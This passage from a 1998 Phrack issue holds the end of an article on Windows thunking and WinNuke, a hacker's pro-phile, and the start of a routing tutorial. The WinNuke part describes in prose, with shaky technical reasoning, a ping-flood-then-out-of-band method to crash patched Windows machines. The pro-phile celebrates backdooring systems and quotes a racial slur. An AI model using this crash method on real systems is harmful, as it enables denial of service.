off the data to different 16-bit functions. The difficulty with passing off
|
|||
|
32-bit data to a 16-bit function is where the thunking layer comes into the
|
|||
|
picture. The thunking layer is a wrapper around all 16-bit functions in
|
|||
|
Windows that can be called by a 32-bit function. It thunks the data calls
|
|||
|
down to 16-bit by converting them into multiple data elements normally done by
|
|||
|
a structure or by passing the actual memory dump of the variable and passing
|
|||
|
the data dump into the function. Then the function does its processing to the
|
|||
|
data within the data-gram and passes it back out of the function. At this
|
|||
|
point it goes back through the thunking layer and reconverts the data back to
|
|||
|
a 32-bit variable and then the 32-bit driver keeps on with its processing.
|
|||
|
This processing of the thunking layer is not an unheard of scheme nor has it
|
|||
|
not been used before but with the way that we all know that Microsoft codes it
|
|||
|
was done in a hurry, not properly implemented, and never tested till
|
|||
|
production. Do to the aforementioned reasons it should not surprise to anyone
|
|||
|
that the code has severe memory leaks. This is why if you, for example, make
|
|||
|
an ODBC call to an Oracle database long enough that eventually your Windows
|
|||
|
box becomes slower until an eventual crash "Blue Screen of Death" or just
|
|||
|
becomes unbearable to work with. As Microsoft tries to patch these bugs in
|
|||
|
the device drivers it releases service packs such as SP3. The way that
|
|||
|
Microsoft has developed and implements the device driver process is on a
|
|||
|
modular code basis. So when a patch is implemented it actually calls the
|
|||
|
modulated code to handle the exact situation for that exploit.
|
|||
|
|
|||
|
Now that you know some of the basic internals as to how Windows makes its
|
|||
|
calls it is time to understand resource hacking and the reason Win-nuke still
|
|||
|
works. If you ping a Windows box it allocates a certain amount of ram and
|
|||
|
runs code within the driver that returns the ICMP packet. Well if you ping a
|
|||
|
windows box 20,000 or 30,000 times it has to allocate 20 or 30 thousand
|
|||
|
chunks of memory to run the device driver to return the ICMP packet. Once 20
|
|||
|
or 30 thousand little chunks of memory out there you do not have enough memory
|
|||
|
to run allow the TCP/IP driver to spawn the code to handle normal function
|
|||
|
within the Windows box. At this point if you were to run Win-nuke to send the
|
|||
|
OOB packet to port 139 on a Windows box in would crash the box. The OOB code
|
|||
|
that was used to patch Win-nuke in SP3 could not be spawned due to the lack of
|
|||
|
memory available and thus uses the original code for the TCP/IP.sys so it gets
|
|||
|
processed by the standard TCP/IP driver that was original shipped with Windows
|
|||
|
without the fix. The only way for Microsoft to actually fix this problem
|
|||
|
would be to rewrite the TCP/IP driver with the correct code within it as the
|
|||
|
core driver (instead of writing patches to be spawned when the exception
|
|||
|
occurs). In doing this though would require Microsoft a significant amount of
|
|||
|
coding skill and talent which we know that no self respecting coder would ever
|
|||
|
work for the big evil.
|
|||
|
|
|||
|
0x9>-------------------------------------------------------------------------
|
|||
|
|
|||
|
----[ PDM
|
|||
|
|
|||
|
Phrack Doughnut Movie (PDM) last issue was `Grosse Point Blank`.
|
|||
|
|
|||
|
PDM52 recipients:
|
|||
|
|
|||
|
Jim Broome
|
|||
|
Jonathan Ham
|
|||
|
Jon "Boyracer" George
|
|||
|
James Hanson
|
|||
|
Jesse Paulsen
|
|||
|
jcoest
|
|||
|
|
|||
|
All the recipients have J* first names. Eerie. And what is actually involved
|
|||
|
in `boyracing`? Do they put little saddles on them?
|
|||
|
|
|||
|
PDM53 Challenge:
|
|||
|
|
|||
|
"...Remember, ya always gotta put one in the brain. The first one puts him
|
|||
|
down, the second one finishes him off. Then he's dead. Then we go home."
|
|||
|
|
|||
|
|
|||
|
----[ EOF
|
|||
|
----[ Phrack Magazine Volume 8, Issue 53 July 8, 1998, article 04 of 15
|
|||
|
|
|||
|
|
|||
|
-------------------------[ P H R A C K 5 3 P R O P H I L E
|
|||
|
|
|||
|
|
|||
|
-----------------[ Personal
|
|||
|
|
|||
|
|
|||
|
Handle: Glyph
|
|||
|
Call him: Yesmar
|
|||
|
Reach him: glyph@dreamspace.net
|
|||
|
Past handles: The Raver (cDc), Necrovore (Bellcore),
|
|||
|
Violence (The VOID Hackers)
|
|||
|
Handle origin: Egyptian mythology: glyph \'glif\ n [Gk glyphe^-
|
|||
|
carved work, fr. glyphein to carve -- more at
|
|||
|
CLEAVE] (ca. 1727) a symbol that conveys information
|
|||
|
nonverbally (e.g., heiroglyphics).
|
|||
|
Date of birth: Late 60's
|
|||
|
Age at current date: As old as the lunar landing
|
|||
|
Height: 5'10" or so
|
|||
|
Weight: Skinny (I hate fat people)
|
|||
|
Eye color: Blue
|
|||
|
Hair color: Brown
|
|||
|
Computers: Started with a TeleVideo 920 dumb terminal and worked
|
|||
|
my way up to a small collection of SGI and NeXT boxes.
|
|||
|
Sysop/Co-Sysop of: Nothing that you've ever heard of (limited lifespan
|
|||
|
hacker boards on Prime superminis and VAX mainframes
|
|||
|
located on the X.25 global data networks).
|
|||
|
Admin of: Go look in the InterNIC databases yourself.
|
|||
|
URLs: I am not going to support the World Wide Waste of time
|
|||
|
in my Pro-Phile.
|
|||
|
|
|||
|
|
|||
|
I first started playing with computers when I was nine years old. I started
|
|||
|
by learning FORTRAN on a Prime supermini at the local university where my
|
|||
|
parents worked. Later I learned BASICA on the original IBM PC (what hulks
|
|||
|
those were). Then a shipment of Apple ][+'s arrived and I learned about
|
|||
|
the joys of warez. Ultima ][, Wizardry, and all the rest kept me busy for
|
|||
|
a couple of years. I never had my own computer, so I had to hike down to
|
|||
|
the university computer center to frotz around.
|
|||
|
|
|||
|
Around 1984 I was loaned a TeleVideo 920 dumb terminal and a 300 baud USR
|
|||
|
modem. I used it to connect to the university's PRIME cluster. A hacker
|
|||
|
was born. I had a legitimate account, but managed to obtain additional
|
|||
|
user IDs by exploring the filesystem. I had also begun tinkering around
|
|||
|
with the telephone network by this time.
|
|||
|
|
|||
|
Later I got an Apple //c and eventually a //gs. These computers got me
|
|||
|
back into the warez scene. One month I got a $500 phone bill. The next
|
|||
|
month the phone bill was back to $0. The only difference was that the
|
|||
|
warez intake had nearly doubled. Indeed, I had learned about codes. I
|
|||
|
spent a lot of time calling warez boards around the country. Ultimately
|
|||
|
I tired of the pirate scene, mainly because of all the inane bickering.
|
|||
|
I also stopped phreaking because I had gotten scared. I disappeared for
|
|||
|
a year or so.
|
|||
|
|
|||
|
Eventually I made a comeback. I wanted to continue to play with computers
|
|||
|
and networks, but I wanted to avoid the phreaking scene. I decided that
|
|||
|
I needed a name. I decided to call myself 'The Raver' after Turiya Raver
|
|||
|
from _The Chronicles of Thomas Covenant the Unbeliever_. (Note: the rave
|
|||
|
scene was unknown in the U.S. at the time). I spent a lot of time calling
|
|||
|
hack/phreak boards and learning.
|
|||
|
|
|||
|
I discovered that I really liked this new communications medium known as
|
|||
|
tfiles: files containing pure ASCII text. Tfiles could be about hacking,
|
|||
|
phreaking, anarchy, or best of all, DEAD COWS WHO RULE THE WORLD. Yes, I
|
|||
|
had discovered a rare beauty on the BBS landscape of the 80's: cDc --
|
|||
|
the Cult of the Dead Cow. I was entranced. These people of the cow were
|
|||
|
like digital punks, espousing their wild views without a single care. I
|
|||
|
was instantly hooked. I started writing tfiles. Before long, I found
|
|||
|
myself invited to join the forces of the Cow. How could I decline Bob and
|
|||
|
Elsie? So it came to pass that I contributed to what I consider a class
|
|||
|
movement in the telecom scene of the late 80's. cDc fulfilled my need to
|
|||
|
communicate and hang with open-minded people in a BBS context.
|
|||
|
|
|||
|
In time, my desire to hack started to come back. At first it was merely
|
|||
|
an 'itch' to poke at a system. Later it developed into a full-blown need
|
|||
|
to get into everything I could. It was around this time that I started
|
|||
|
exploring TELENET and the global X.25 data networks. I met ParMaster,
|
|||
|
the original members of Bellcore, and LOD/H on altger in Munich. I was
|
|||
|
hooked. Par and I, considering ourselves lame at the time, formed a group
|
|||
|
named XTension. The group flourished on the European networks.
|
|||
|
|
|||
|
Eventually half of XTension were invited to join Bellcore. This was the
|
|||
|
first time any of us had experienced a rift in friendship over the digital
|
|||
|
medium. It was a painful learning experience. I would not talk to Par
|
|||
|
again for many years. In the meantime, I began working at learning even
|
|||
|
more under the wings of Bellcore. I hacked Primes for Bellcore. Under the
|
|||
|
tutelage of Chippy I discovered the ways of UNIX and TCP/IP networking.
|
|||
|
|
|||
|
I changed my name to Necrovore in order to make clear the changes that had
|
|||
|
occured. The name comes from the fact that I was very much into death
|
|||
|
metal at the time. Naming myself after the 'Eater of the Dead' seemed like
|
|||
|
a very reasonable thing to me at the time. (God, what was I thinking!?)
|
|||
|
At any rate, the Mentor of LOD and I used to pick fights with each other
|
|||
|
online across the world, so it isn't surprising that 'Necrovore' found its
|
|||
|
way into a Steve Jackson Game's GURPS Supers module as one of the super
|
|||
|
villains. Heh.
|
|||
|
|
|||
|
Eventually Bellcore fell apart, as did so many groups. It became 'cool'
|
|||
|
and then too many people were invited to join, and then the trust fell
|
|||
|
apart. If there is a lack of trust, how can work be accomplished? Bellcore
|
|||
|
was done. It depressed me a lot because LOD continued strong. Was what
|
|||
|
I had fought for worthless? I thought not. At that time I decided that
|
|||
|
the days of Big Groups were over. Now it was time for the Small Cell.
|
|||
|
|
|||
|
The VOID Hackers were created by myself and The Usurper, now Thrashing Rage,
|
|||
|
a fellow ex-Bellcore member. We recruited Dr. Psychotic, a class assembly
|
|||
|
language hacker, and The Scythian, another hacker with a famous past, and
|
|||
|
started in after Primes and VAXen around the world. I wrote a lengthy series
|
|||
|
of articles on hacking Primes and submitted it to 2600. I got yelled at
|
|||
|
later by TK and KL for not submitting it to Phrack. To know the truth, I
|
|||
|
didn't think it was good enough for Phrack, which had been the soul of the
|
|||
|
scene since its inception. I never heard back from 2600. (Go figure.)
|
|||
|
|
|||
|
The VOID Hackers surpassed my wildest expectations. We hit systems across
|
|||
|
the planet. We had hundreds and hundreds of systems at our beck and call.
|
|||
|
It could only get better, or so I thought. Imagine my surprise then, one
|
|||
|
day, when my mom picked me up from school and told me that there were
|
|||
|
'security people' at the house right then. 'FUCK,' I thought. Fuck,
|
|||
|
indeed. I was popped at age 20.
|
|||
|
|
|||
|
I managed to avoid a multiple felony rap and retired right away. I used
|
|||
|
contacts to make it clear to government intelligence people and others
|
|||
|
that I was finished. I went to university and majored in English, then
|
|||
|
Anthropology, and ultimately settled on Computer Science. Instead of
|
|||
|
criminal hacking, I delved into hacking from the MIT perspective. I
|
|||
|
explored the UNIX system and sharpened my programming skills.
|
|||
|
|
|||
|
Eventually I left the protected world of academia and made my way into the
|
|||
|
computer industry. With the heavy advent of the Internet I reappeared on
|
|||
|
the scene as glyph. It was interesting running into old friends (and
|
|||
|
enemies) and meeting new hackers on the scene. I went to several cons and
|
|||
|
continued to frolic in the security domain. By this time, however, I had
|
|||
|
pretty much ceased to engage in criminal hacking, spending my time instead
|
|||
|
developing security tools. Now I am completely retired. You may still
|
|||
|
see me as glyph from time to time, however. Undoubtedly, there are more
|
|||
|
of 'me' out there. grep. It's been a long, strange ride. I'd do it all
|
|||
|
over again if I wasn't so old. 8)
|
|||
|
|
|||
|
|
|||
|
----------------[ Favorite things
|
|||
|
|
|||
|
Women: Australian chicks rule.
|
|||
|
|
|||
|
Cars: I don't drive. I might if I could recompile traffic algorithms,
|
|||
|
however this doesn't seem all that likely. I definitely would
|
|||
|
not drive a BMW. There are too many of those around as it is.
|
|||
|
I used to drive a skateboard. That was a long time ago, though.
|
|||
|
Brains and computers are still good to drive, however. Vrooom.
|
|||
|
|
|||
|
Foods: Shrimp Vindaloo, please. Hot and spicy ethnic. Non-processed.
|
|||
|
|
|||
|
Alcohol: Fine Italian Chianti. Vodka. Exotic imported beer. More Vodka.
|
|||
|
|
|||
|
Music: Scorn, ClockDVA, My Life With the Thrill Kill Kult, Coil, Slint,
|
|||
|
Killing Joke, Chrome, Kraftwerk, Jane's Addiction, Zillatron,
|
|||
|
John Zorn, Praxis, Lard, Meat Beat Manifesto, Eat Static, Suede,
|
|||
|
Bill Laswell, Sepultura, Grotus, Mr. Bungle, Ozric Tentacles,
|
|||
|
Pink Floyd, Frontline Assembly, Dayglo Abortions, Dead Kennedys,
|
|||
|
Metallica, Slayer, Kreator, and lots and lots of other stuff.
|
|||
|
|
|||
|
Movies: The Stepford Wives, Invasion of the Body Snatchers, Brazil,
|
|||
|
Marathon Man, Blade Runner, anything by Akira Kurosawa,
|
|||
|
Memoirs of An Invisible Man, The Usual Suspects, Aeon Flux,
|
|||
|
Heavy Metal, Light Years.
|
|||
|
|
|||
|
Authors: Jorge Luis Borges, J. R. R. Tolkein, Kurt Vonnegut, Jr., Sun Tzu,
|
|||
|
Stephen R. Donaldson, H. P. Lovecraft, Gabriel Garcia Marquez,
|
|||
|
Clark Ashton Smith, Umberto Eco, George Orwell, Thomas Ligotti,
|
|||
|
Douglas Adams, Robert Anton Wilson.
|
|||
|
|
|||
|
Turn Ons: Intelligence, algorithms, open mindedness, guitars, see "Women".
|
|||
|
|
|||
|
Turn Offs: Arrogance, stupidity, shallowness, closed mindedness, media whoring.
|
|||
|
|
|||
|
|
|||
|
----------------[ Passions
|
|||
|
|
|||
|
Music. Listening to it as well as making it.
|
|||
|
|
|||
|
Reading and writing.
|
|||
|
|
|||
|
Programming algorithms and data structures.
|
|||
|
|
|||
|
I have this rock that I found in the creek next to the elementary school I
|
|||
|
used to attend when I was in 3rd grade. The rock weighs over 7 pounds and
|
|||
|
is shaped like a pebble. I hefted it from the waters and proclaimed it as
|
|||
|
'Herman', my pet rock. I've had it ever since I was 9 years old. That was
|
|||
|
the same year I first experienced computers. Holding on to this rock all
|
|||
|
these years has definitely been a passion of mine.
|
|||
|
|
|||
|
Slowly becoming a social recluse. I actually think this is healthy for me.
|
|||
|
|
|||
|
|
|||
|
----------------[ Memorable experiences
|
|||
|
|
|||
|
Watching Wargames for the first time. Yes, I admit it. It affected my life.
|
|||
|
|
|||
|
Being lame and creating the group XTension with ParMaster. It was the first
|
|||
|
group for both of us. We thought it was pretty cool at the time.
|
|||
|
|
|||
|
Backdooring PRIMOS Rev. 22.0... yes, the actual source code repository. 8)
|
|||
|
|
|||
|
Trashing. Hiding in the dumpster while the janitor dumped trash on my head.
|
|||
|
|
|||
|
Hacking Europe, South America, and parts of Asia. Globe travelling...
|
|||
|
|
|||
|
Altger (NUA 026245890040004). Sigh. I liked it a lot better than irc.
|
|||
|
|
|||
|
SummerCon '95. Other than knowing The Usurper and Hyperminde, and having
|
|||
|
Byteman visit from New Jersy for two weeks, I hadn't ever really met other
|
|||
|
real, live hackers before. Very cool.
|
|||
|
|
|||
|
chuck and edward.
|
|||
|
|
|||
|
The l's. Bastards. 8)
|
|||
|
|
|||
|
Cytroxia on acid. Way to go, Danny.
|
|||
|
|
|||
|
The great 7-day Alliance Teleconference. I remember waking up to blasts of
|
|||
|
DTMF tones and raucous laughter.
|
|||
|
|
|||
|
TELENET. PAD to PAD. NUIs. TELENET THINGIES!!!1!! DNIC scanning.
|
|||
|
|
|||
|
That VAX cluster. Hey Par, remember *that* VAX cluster?
|
|||
|
|
|||
|
PROTEON.
|
|||
|
|
|||
|
XTension being rent asunder as half the members were invited into Bellcore
|
|||
|
and the other half being politely told to fuck off.
|
|||
|
|
|||
|
Novation AppleCat modems.
|
|||
|
|
|||
|
Watching a CERT advisory happen--from the inside. It was advisory CA-89.03.
|
|||
|
Hiya, Chippy! Where are you?
|
|||
|
|
|||
|
Social engineering for the first time. It worked, go figure.
|
|||
|
|
|||
|
The Richard Sandza teletrial.
|
|||
|
|
|||
|
Getting busted. I missed SummerCon '89 as a result. From Phrack #28 PWN:
|
|||
|
Violence and The Scythian: "We got busted by SoutherNet, but we'll be there!"
|
|||
|
|
|||
|
Backdooring a major network entity for the first time--the exhilheration.
|
|||
|
|
|||
|
PC PURSUIT. Oopsy.
|
|||
|
|
|||
|
Discovering I was published in 2600--almost 7 years after the fact!
|
|||
|
Hey, I got my free issues and t-shirts!
|
|||
|
|
|||
|
Fuck QSD channel.
|
|||
|
|
|||
|
Outdials.
|
|||
|
|
|||
|
The TCP/IP Drinking Game. Version 1.0. SummerCon '96 in D.C. Talk about a
|
|||
|
quick buzz. NeTTwerk gave the speech. BioH, .mudge, ReDragon, myself, and
|
|||
|
a few others drank, and drank, and drank. A good time, to be sure. If anyone
|
|||
|
reading this has video footage of the event, please mail me.
|
|||
|
|
|||
|
Backdooring a major VAX application using a hex editor.
|
|||
|
|
|||
|
Jamming on Control-C and falling through the login command processor into old
|
|||
|
Primes. ROTFL.
|
|||
|
|
|||
|
Hacking from Dataphones in Boston.
|
|||
|
|
|||
|
My first buffer overflow. I remember talking on the phone with .mudge as I
|
|||
|
worked out the details.
|
|||
|
|
|||
|
Falling in love.
|
|||
|
|
|||
|
Falling out of love.
|
|||
|
|
|||
|
|
|||
|
----------------[ People to mention
|
|||
|
|
|||
|
In no particular order:
|
|||
|
|
|||
|
Dr. Who, BioHazard, Alhambra, .mudge, Dr. Cypher, Asriel, Bill From RNOC,
|
|||
|
_*Hobbit (still reading flammage after all these years), Swamp Rat, N8,
|
|||
|
The Dictator (AKA Dale Drew), Frankengibe, The Mentor, FryGuy, Garbage Heap,
|
|||
|
The Scythian, Mr. Xerox, MasterMicro, 0x486578, Tim N. (love your code),
|
|||
|
Bika (dig that hair), Grave45, Shewp, SkyHook, Blade Runner, Mycroft,
|
|||
|
Shatter, Sir Hackalot, Nirva, Crimson Death, Par, Taran King, Thingo It,
|
|||
|
Knight Lightning, Enkhyl, CheapShades, The Force, Byteman, The Leftist,
|
|||
|
Chippy (la la la), Mad Hacker (the *real* one), The Usurper/Thrashing Rage,
|
|||
|
Kewp (NOT!), Touch Tone (My voice isn't *that* hiiiigghhhh!!! CONNECT 1200),
|
|||
|
The Urvile/Necron 99, Hyperminde/Dr. Psychotic (Remember, until there is a
|
|||
|
cure for Assembly Language Brain Fry, there will always be the N.C. Home
|
|||
|
for Deranged Programmers), ReDragon, B, Route, GyroTech, Epsilon,
|
|||
|
Control-C (thanks for all the prank calls!). Lastly, I *must* mention that
|
|||
|
cool ass M.I. guy who tried to bust me--you were rad! (It was a truly good
|
|||
|
game. You told me to go to college, and I did. You also taught me not to
|
|||
|
under-estimate the enemy, because I did.)
|
|||
|
|
|||
|
|
|||
|
----------------[ Boards to mention
|
|||
|
|
|||
|
Elite Boards: Phoenix Project, Digital Logic, Pirate-80, Speed Demon Elite,
|
|||
|
the various Metalland systems, The Metal AE, Demon Roach Underground, upt.org,
|
|||
|
The Polka AE, The Lost City of Atlantis, Lunatic Labs, The Dead Zone, Ripco,
|
|||
|
Broadway Show/Radio Station, The Central Office, The Missing Link, Lutzifer,
|
|||
|
The Works, upt.org, and the L0phT BBS. There are undoubtedly more, but these
|
|||
|
are the ones I remember to this day.
|
|||
|
|
|||
|
Local Boards: Never a fan of 'local' boards, there are only two that I can
|
|||
|
recall as being k-interesting to any degree: The Padded Cell and Pandemonium,
|
|||
|
both of which were in the 919 NPA.
|
|||
|
|
|||
|
|
|||
|
----------------[ Quotes
|
|||
|
|
|||
|
Gimme sum PR1MEZ!1!!
|
|||
|
|
|||
|
May the Forces of Darkness become confused on the way to your house.
|
|||
|
|
|||
|
<SN> WERE THE SEKRATARIES THAT R00L CYBERSPACE
|
|||
|
<SN> WE SKRIBBLE GFILES IN SHORTHAND
|
|||
|
<SN> HEY THE RAVER EYE HEAR U PACK A MEAN LUNCHBoX
|
|||
|
<SN> HEY ITS THE RAVER 0F CDC @#$@#
|
|||
|
<SN> HEY RAVER OF CDC @$@#$
|
|||
|
<SN> RAVER COME OVER HERE AND POSE WITH ME AND GHEAP F0R A PH0T0
|
|||
|
<SN> I CANT BELIEVE EYEM ON IRC WITH THERAVER OF CDC
|
|||
|
<SN> @$)%(&@*($&#*
|
|||
|
<SN> HEY LADYADA, IM ON IRC WITH THE RAVER OF CDC
|
|||
|
<SN> CAN YOU BELIEVE IT?!
|
|||
|
<SN> IM ST00PID NIGGAH oF M0D
|
|||
|
|
|||
|
I don't think that was really SN, but it was funny as hell anyway.
|
|||
|
|
|||
|
* glyph is away - vomiting binary - all Lame messages will be ignored.
|
|||
|
<n8> I actually vomit hex, but that always seems to break down into binary
|
|||
|
if it sits on the floor for a while
|
|||
|
|
|||
|
When I was a kid, nobody ever picked me to play dodge ball, kick ball, or
|
|||
|
whatever. If I was picked, I was always last or second to last. You can
|
|||
|
imagine what a pleasure the following was to read:
|
|||
|
|
|||
|
<Asriel> WE PICK GLYPH
|
|||
|
<DaveNull> WE ALREADY HAVE GLYPH ASRIEL
|
|||
|
<Asriel> oh
|
|||
|
<Asriel> fuck
|
|||
|
<Asriel> well
|
|||
|
<Asriel> at least we have knuth
|
|||
|
|
|||
|
Other quotes have been lost to the vestiges of time.
|
|||
|
|
|||
|
|
|||
|
----------------[ The future of the computer underground
|
|||
|
|
|||
|
I see a future without me.
|
|||
|
|
|||
|
|
|||
|
----------------[ The forgotten pro-phile question
|
|||
|
|
|||
|
...And now for the [once] regularly taken poll from all interviewees.
|
|||
|
|
|||
|
Of the general population of phreaks and hackers you have met, would
|
|||
|
you consider most, if any, to be computer geeks?
|
|||
|
|
|||
|
No. Most phreaks and hackers that I have met are not geeks. They are
|
|||
|
more likely to be utter freaks, however, but not nerds or geeks. Geeks
|
|||
|
lack social skills. Phreaks and hackers have a definite social world that
|
|||
|
extends beyond phone switches and computer networks.
|
|||
|
|
|||
|
Thanks for your time, Yesmar. "No problem."
|
|||
|
|
|||
|
----[ EOF
|
|||
|
---[ Phrack Magazine Volume 8, Issue 53 July 8, 1998, article 05 of 15
|
|||
|
|
|||
|
|
|||
|
-------------------------[ Introduction and Overview of Internet Routing
|
|||
|
|
|||
|
|
|||
|
--------[ krnl <krnl@heuristic.org>
|
|||
|
|
|||
|
|
|||
|
|
|||
|
----[ Routing Overview:
|
|||
|
|
|||
|
The process of routing can be quickly summarized as a node finding the path to
|
|||
|
every possible destination. Routing is present in everything from layer 1
|
|||
|
(the physical layer) on up. The routing that most people are familiar with,
|
|||
|
however, occurs at layer 3 (the network layer) and as such, we will only
|
|||
|
reference layer 3 (and more specifically) Internet Protocol (IP) routing in
|
|||
|
this document.
|
|||
|
|
|||
|
Protocols for exchange of routing information connect multiple routers around
|
|||
|
the world to provide them with a common view of the network through their
|
|||
|
heterogeneous, though generally consistent routing tables. Routing tables
|
|||
|
store all information necessary for the router to reach every destination on
|
|||
|
the network irrespective of size (i.e. the network could be j.random LAN with
|
|||
|
one ip router and two hosts off of an ethernet port or it could be the
|
|||
|
Internet proper).
|
|||
|
|
|||
|
----[ Routing Protocols:
|
|||
|
|
|||
|
There are a wide variety of routing protocols used to contribute to the
|
|||
|
routing tables across a network. Protocols such as BGP, OSPF, RIP and ISIS
|
|||
|
help to convey a correct and coherent picture of the network to all network
|
|||
|
switches (routers).
|
|||
|
|
|||
|
----[ Routing Goals:
|
|||
|
|
|||
|
You can imagine that if each router has to store information that would allow
|
|||
|
it to reach every destination on the network, there is the possibility for it
|
|||
|
to amass a large routing table. Large routing tables are difficult (and
|
|||
|
sometimes impossible) for routers to process because of physical constraints
|
|||
|
(cpu, memory or a combination). Therefore, we would like to minimize the
|
|||
|
routing table space without sacrificing the ability to reach every destination
|
|||
|
on the network. For example, if the router is connected to the Internet via
|
|||
|
one DS1 link to another router, the router could store routing table
|
|||
|
information for each destination on the Internet or it could just default
|
|||
|
non-local information out that serial link. What defaulting means is that if
|
|||
|
the router does not have a specific entry in its table for the destination
|
|||
|
that the packet is trying to find, it sends it out the default link. The
|
|||
|
router towards which a router sends defaulted packets is sometimes called the
|
|||
|
'gateway of last resort'. This simple trick allows many routing tables to
|
|||
|
save a number of entries on the 30th order of magnitude. Routing information
|
|||
|
should not be exchanged between routers in a spurious fashion. Frequent churn
|
|||
|
in the routing table puts unnecessary stresses on the scare memory and cpu of
|
|||
|
any given router. Information propagation should not interfere with the
|
|||
|
forwarding operations of the router. Though this means that you should not
|
|||
|
send routing updates every nanosecond, it does not mean that routing
|
|||
|
information should only be exchanged and updated weekly. One of the important
|
|||
|
goals of routing is that it provide the host with a table which accurately
|
|||
|
reflects the current status of the network.
|
|||
|
|
|||
|
The most important aspect of a router's operation is sending packets from
|
|||
|
input to correct output. Misrouting packets could cause a loss of data.
|
|||
|
Routing table inconsistencies could also cause routing loops whereby a packet
|
|||
|
is passed between two adjacent interfaces ad infinitum.
|
|||
|
|
|||
|
It is desirous for routers to have quick convergence. Convergence can be
|
|||
|
informally defined as a metric which gauges the speed at which routers arrive
|
|||
|
at a consistent view of the network. It would be ideal to have infinitesimal
|
|||
|
convergence times because that would ensure that each router on the network
|
|||
|
can accurately reflect the current topology even after a drastic change (link
|
|||
|
failure). When the network is changing, each router must propagate data which
|
|||
|
will aid other routers in converging to the correct picture of the network
|
|||
|
status. Problems with quick convergence are found in the routing updates. If
|
|||
|
a link is flapping (changing line status from up to down) rapidly, it can
|
|||
|
generate numerous installation and withdrawal requests. Therefore, that one
|
|||
|
link can end up consuming the resources of every router on the network because
|
|||
|
the other routers are forced to install and withdraw the route in rapid
|
|||
|
succession. While convergence is an important goal of routing protocols, it
|
|||
|
is not a panacea to network woes.
|
|||
|
|
|||
|
|
|||
|
----[ Distance Vector Routing
|
|||
|
|
|||
|
Distance vector routing protocols distribute a list of <destination, cost>
|
|||
|
tuples to all of the router's neighbors. These tuples assign a cost to reach
|
|||
|
every other node of the network. It is important to note that this routing
|
|||
|
information is only distributed to routers which are assigned as neighbors to
|
|||
|
the originating router. These neighbors are often physical, but can be
|
|||
|
logical in the case of eBGP multihop. That cost is the sum of the link costs
|
|||
|
for the router to reach a destination. Routers periodically send their
|
|||
|
neighbors distance vector updates; the neighbor then compares the received
|
|||
|
distance vector to its current distance vector. If the received values are
|
|||
|
lower, the router sends output to the destination in the distance vector over
|
|||
|
the link that it received the vector over.
|
|||
|
|
|||
|
The count to infinity problem is a problem with many distance vector
|
|||
|
implementations. We will assume that all links have a unit cost and that each
|
|||
|
hop corresponds to a unit. For example, if router X is connected to router Y
|
|||
|
and router Y is connected to router Z, we can demonstrate this problem (see fig
|
|||
|
1). Y knows a 1 hop path to Z and X knows a 2 hop path to Z. Assume that
|
|||
|
link YZ goes down and the cost of that route is increased to infinity (fig 2).
|
|||
|
Now, Y knows an infinite cost route to Z because it knows the link is down so
|
|||
|
it propagates this distance vector to X. Suppose X has sent an update to Y
|
|||
|
which advertises a 2 hop distance vector. Now, Y will think that it can get
|
|||
|
to Z through X, so it sends X an update that says it can get to Z in three
|
|||
|
hops (fig 3). Note that X has no idea that the distance vector being
|
|||
|
advertised to it was originated from X. This is a serious flaw in distance
|
|||
|
vectors. In their unmodified form, they do not contain the full path
|
|||
|
information that the route has traversed. As illustrated above, the router
|
|||
|
alternates states of advertising a path to Z and advertising infinity to Z.
|
|||
|
They keep this exchange up forever or until they have reached some internally
|
|||
|
defined infinity count (say 15 as in the case of RIP).
|
|||
|
|
|||
|
Count to Infinity problem:
|
|||
|
|
|||
|
X--------------------Y--------------------Z
|
|||
|
|
|||
|
Y:1 X:1 X:2
|
|||
|
Z:2 Z:1 Y:1
|
|||
|
|
|||
|
[ fig 1 ]
|
|||
|
All links are up, below each node we note the destination and hopcount
|
|||
|
from each respective node.
|
|||
|
|
|||
|
|
|||
|
X--------------------Y--------* *---------Z
|
|||
|
|
|||
|
Y:1 <------------- Z:infinity
|
|||
|
Z:2 -------------> X:1
|
|||
|
|
|||
|
[ fig 2 ]
|
|||
|
The link Y - Z breaks. Node X advertises Z:2 to node Y.
|
|||
|
|
|||
|
|
|||
|
|
|||
|
X--------------------Y--------* *---------Z
|
|||
|
|
|||
|
Z:infinity(frm Y) -> X:1
|
|||
|
Y:1 <------------- Z:3
|
|||
|
|
|||
|
[ fig 3 ]
|
|||
|
Node Y sends its Z distance vector to X _before_ it recieves node X's
|
|||
|
infinity. Once node Y receives node X's infinity, it sets its distance to
|
|||
|
infinity.
|
|||
|
|
|||
|
A path vector is an easy way to defeat the count-to-infinity problem.
|
|||
|
Basically, each distance vector also includes the router path that it
|
|||
|
traversed (fig 4). The router rejects an update from its neighbor if the path
|
|||
|
included in the update includes the router receiving the update (fig 5). The
|
|||
|
Border Gateway Protocol (which is used to exchange routing information between
|
|||
|
Autonomous Systems on the Internet) incorporates the path vector to stop the
|
|||
|
count-to-infinity problem. Obviously, you have to incorporate more
|
|||
|
information in the routing table if you want to include the AS path
|
|||
|
information that the route has traversed. The designers of BGP decided that it
|
|||
|
was optimal to sacrifice storage space and processing power for the robustness
|
|||
|
that the path vector affords the routing protocol.
|
|||
|
|
|||
|
Path Vector Solution:
|
|||
|
|
|||
|
X--------------------Y--------------------Z
|
|||
|
|
|||
|
Y:1 (Y) X:1 (X) X:2 (YX)
|
|||
|
Z:2 (YZ) Z:1 (Z) Y:1 (Y)
|
|||
|
|
|||
|
[ fig 4 ]
|
|||
|
All links are up, below each node we note the destination, hopcount and
|
|||
|
path vector from each respective node.
|
|||
|
|
|||
|
|
|||
|
X--------------------Y--------* *---------Z
|
|||
|
|
|||
|
Y:1 (Y) X:1 (X)
|
|||
|
Z:2 (Y Z) Z:infinity
|
|||
|
|
|||
|
[ fig 5 ]
|
|||
|
The link Y - Z breaks. Node Y knows to ignore Xs advertisement of Z
|
|||
|
because Y is the path vector. The avoids the count-to-infinity problem.
|
|||
|
|
|||
|
|
|||
|
Another way to counter this problem is the split horizon. Basically, this
|
|||
|
means that a router shouldn't advertise a path to a neighbor if that neighbor
|
|||
|
is the next hop to the destination. This solves the problem presented in the
|
|||
|
example above because the path to Z from X through Y would not have been
|
|||
|
advertised to Y because Y is the neighbor _and_ the next hop to the
|
|||
|
destination (Z). A variation called split horizon with poisonous reverse has
|
|||
|
router X advertise an infinite cost to get to destination Z. Under a split
|
|||
|
horizon, router X would not advertise that it could get to router Z.
|
|||
|
|
|||
|
|
|||
|
----[ Link State Routing
|
|||
|
|
|||
|
A router using a link state routing protocol distributes the distance to its
|
|||
|
neighbors to every other router on the network. This allows each router on
|
|||
|
the network to make a routing table without knowing the full cost to the
|
|||
|
